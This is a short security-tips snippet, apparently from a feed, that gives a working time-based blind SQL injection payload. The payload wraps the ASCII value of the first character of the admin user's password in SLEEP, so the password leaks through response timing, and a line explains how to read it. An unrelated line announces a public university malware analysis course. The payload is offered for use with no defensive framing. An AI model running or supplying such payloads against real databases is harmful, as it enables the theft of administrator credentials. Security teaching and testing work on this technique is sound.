Exfiltrate data from a blind SQL Injection in SELECT clause.

SELECT SLEEP(ASCII(SUBSTRING((SELECT password FROM users WHERE name = 'admin'),1,1)/2));

Converts output of SUBSTRING query to ASCII code, divides it by two, then sleeps for that long (see response time for char code)

Univ of Cincinnati makes graduate-level Malware Analysis course public

https://class.malware.re